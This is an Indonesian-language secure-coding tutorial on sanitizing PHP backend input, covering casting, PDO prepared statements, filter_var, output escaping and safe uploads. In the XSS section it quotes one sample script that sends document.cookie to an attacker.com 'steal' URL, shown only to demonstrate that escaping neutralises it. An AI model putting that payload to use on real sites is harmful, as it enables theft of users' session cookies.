Sanitasi Data PHP Backend: Teknik Filter Input & Keamanan

Sanitasi data di backend PHP adalah proses pembersihan dan modifikasi data input mentah dari pengguna (seperti $_POST, $_GET, atau payload JSON) guna memastikan karakter berbahaya dieliminasi atau dinetralkan sebelum data diproses, disimpan ke basis data, atau dieksekusi oleh sistem operasi. Berbeda dengan validasi yang menolak data tidak sesuai format, sanitasi secara aktif mengubah atau membuang karakter berisiko demi mencegah celah keamanan kritis seperti SQL Injection, Cross-Site Scripting (XSS), Command Injection, dan Remote Code Execution (RCE).

Prinsip utama rekayasa backend modern menegaskan: Jangan pernah percaya input pengguna (Never trust user input) dan Sanitasi sesuai konteks tujuan (Context-aware sanitization). Nilai yang aman untuk query database belum tentu aman saat dirender ke halaman HTML atau dilempar ke filesystem.

Matriks Fungsi Sanitasi & Validasi Bawaan PHP Berdasarkan Skenario

PHP menyediakan ekosistem fungsi native untuk memproses berbagai tipe data. Pemilihan fungsi harus disesuaikan persis dengan vektor ancaman dan tipe penyimpanan.

Tipe Input / SkenarioVektor Ancaman UtamaFungsi Sanitasi / Mekanisme TerbaikFungsi Validasi Pendukung
Integer / ID RecordSQL Injection, Type Juggling(int)$input atau intval($input)filter_var($id, FILTER_VALIDATE_INT) atau ctype_digit()
Alamat EmailHeader Injection, XSSfilter_var($email, FILTER_SANITIZE_EMAIL)filter_var($email, FILTER_VALIDATE_EMAIL)
Teks Biasa (Nama, Alamat)Stored XSS, Buffer Floodingtrim(), strip_tags()mb_strlen(), preg_match()
Teks HTML / Rich TextPersistent XSSLibrary HTMLPurifier (hindari regex manual)Skema parser DOM terstruktur
Query Database SQLSQL InjectionPrepared Statements via PDO / MySQLiParameter binding bertipe data ketat
Nama File UploadPath Traversal (../), Shell Uploadbasename(), hashing nama acakin_array() whitelist ekstensi & MIME type
Output ke Browser (HTML)Reflected / DOM XSShtmlspecialchars($str, ENT_QUOTES, 'UTF-8')-

1. Sanitasi Input Angka dan Identitas Record

Parameter URL seperti ?id=105 sering menjadi sasaran uji coba SQL Injection. Pendekatan tercepat dan teraman adalah melakukan type casting eksplisit menjadi integer atau memvalidasinya dengan fungsi pemeriksa digit.

<?php
declare(strict_types=1);

// Mengambil ID dari query string
$rawId = $_GET['id'] ?? null;

// Cara 1: Type casting langsung (mengubah string non-angka menjadi 0)
$id = (int)$rawId;
if ($id <= 0) {
    http_response_code(400);
    exit('ID tidak valid.');
}

// Cara 2: Validasi ketat tanpa mengubah format asal
if (!filter_var($rawId, FILTER_VALIDATE_INT, ["options" => ["min_range" => 1]])) {
    http_response_code(400);
    exit('Format ID wajib bilangan bulat positif.');
}

2. Pertahanan Terhadap SQL Injection: Prepared Statements PDO

Fungsi lawas seperti addslashes() atau mysqli_real_escape_string() bukan teknik utama sanitasi database. Standar baku industri saat ini adalah memisahkan query logika SQL dari payload data menggunakan PDO Prepared Statements.

<?php
declare(strict_types=1);

$dsn = 'mysql:host=127.0.0.1;dbname=app_db;charset=utf8mb4';
$pdo = new PDO($dsn, 'db_user', 'db_password', [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    PDO::ATTR_EMULATE_PREPARES => false, // Wajib false untuk mematikan emulasi client-side
]);

// Data mentah dari form POST
$email = trim($_POST['email'] ?? '');
$status = 'active';

// Parameterized query mencegah seluruh manipulasi karakter kutip/escape
$stmt = $pdo->prepare("SELECT id, username, password_hash FROM users WHERE email = :email AND status = :status");
$stmt->execute([
    ':email' => $email,
    ':status' => $status
]);

$user = $stmt->fetch();

3. Sanitasi Email, URL, dan Teks String dengan filter_var

PHP memiliki modul filter terintegrasi yang menghapus karakter non-ASCII dan karakter ilegal dari string tertentu.

<?php
// 1. Sanitasi dan Validasi Email
$rawEmail = "  [email protected] <script>alert(1)</script> ";
$cleanEmail = filter_var(trim($rawEmail), FILTER_SANITIZE_EMAIL);

if (filter_var($cleanEmail, FILTER_VALIDATE_EMAIL)) {
    // Email aman untuk diproses
} else {
    // Format email gagal validasi
}

// 2. Sanitasi URL
$rawUrl = "https://contoh.com/halaman?ref=<script>";
$cleanUrl = filter_var($rawUrl, FILTER_SANITIZE_URL);

if (filter_var($cleanUrl, FILTER_VALIDATE_URL)) {
    // URL valid secara sintaksis RFC
}

4. Pencegahan Cross-Site Scripting (XSS) pada Layer Output

Kesalahan fatal banyak pengembang adalah menghapus tag dengan strip_tags() di tahap input, namun lupa mengamankannya saat data ditampilkan kembali ke browser. Sanitasi konteks HTML wajib dilakukan menggunakan htmlspecialchars() dengan flag ENT_QUOTES dan encoding UTF-8.

<?php
function escapeHtml(string $string): string {
    return htmlspecialchars($string, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}

$komentarPengguna = '<b>Halo!</b> <script>window.location="https://attacker.com/steal?c="+document.cookie;</script>';
?>

<!-- Render aman di browser: skrip akan ditampilkan sebagai teks literal, bukan dieksekusi -->
<div class="comment-body">
    <p><?= escapeHtml($komentarPengguna); ?></p>
</div>

5. Sanitasi Penamaan File Upload dan Anti-Path Traversal

Serangan Path Traversal memanfaatkan sekuens ../ untuk menulis atau membaca file di luar direktori yang ditentukan. Jangan pernah mempercayai $_FILES['input_name']['name'] langsung ke disk.

<?php
declare(strict_types=1);

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['avatar'])) {
    $file = $_FILES['avatar'];
    
    // 1. Verifikasi error code bawaan PHP
    if ($file['error'] !== UPLOAD_ERR_OK) {
        throw new RuntimeException('Gagal mengunggah file.');
    }

    // 2. Batasi ukuran maksimum (misal: 2 MB)
    if ($file['size'] > 2 * 1024 * 1024) {
        throw new RuntimeException('Ukuran file melebihi batas 2MB.');
    }

    // 3. Validasi MIME Type secara real lewat buffer data (bukan ekstensi semata)
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    $mimeType = $finfo->file($file['tmp_name']);
    
    $allowedMimes = [
        'jpg'  => 'image/jpeg',
        'png'  => 'image/png',
        'webp' => 'image/webp',
    ];

    $ext = array_search($mimeType, $allowedMimes, true);
    if ($ext === false) {
        throw new RuntimeException('Tipe file tidak didukung.');
    }

    // 4. Buat nama file unik baru (Sanitasi total dari nama bawaan client)
    $safeFileName = sprintf('%s.%s', bin2hex(random_bytes(16)), $ext);
    $targetDirectory = __DIR__ . '/uploads/';

    if (!move_uploaded_file($file['tmp_name'], $targetDirectory . $safeFileName)) {
        throw new RuntimeException('Gagal memindahkan file ke direktori tujuan.');
    }
}

Arsitektur Pemrosesan Input Global (Middleware Layer)

Dalam kerangka kerja backend terstruktur, sanitasi tidak disematkan acak-acakan di sembarang controller. Buat pembersih rekursif atau middleware yang membersihkan string kosong, spasi berlebih, dan karakter null-byte (\0) sebelum payload masuk ke domain service.

<?php
declare(strict_types=1);

class InputSanitizer {
    public static function cleanPayload(array $data): array {
        $sanitized = [];
        foreach ($data as $key => $value) {
            // Sanitasi kunci array dari karakter aneh
            $cleanKey = preg_replace('/[^a-zA-Z0-9_\-]/', '', (string)$key);
            
            if (is_array($value)) {
                $sanitized[$cleanKey] = self::cleanPayload($value);
            } elseif (is_string($value)) {
                // Buang null bytes dan pangkas whitespace ujung
                $sanitized[$cleanKey] = trim(str_replace("\0", '', $value));
            } else {
                $sanitized[$cleanKey] = $value;
            }
        }
        return $sanitized;
    }
}

// Penggunaan di awal bootstrap routing
$cleanPost = InputSanitizer::cleanPayload($_POST);
$cleanGet  = InputSanitizer::cleanPayload($_GET);

Aturan Mutlak Pengelolaan Sanitasi Backend

  1. Hindari Sanitasi Ganda (Double Encoding): Menjalankan htmlspecialchars() sebelum menyimpan ke database akan merusak data asli di DB (contoh: Budi & Ani menjadi Budi &amp; Ani). Sanitasi database dilakukan via prepared statements, sedangkan htmlspecialchars() hanya dipanggil saat merender output.
  2. Filter Berbasis Whitelist, Bukan Blacklist: Selalu tentukan karakter atau format apa saja yang diizinkan, bukan berusaha menebak semua kemungkinan karakter jahat yang dilarang.
  3. Validasi Tipe Data Skalar: Aktifkan declare(strict_types=1); pada seluruh berkas backend PHP guna mencegah kelemahan evaluasi otomatis (PHP type juggling).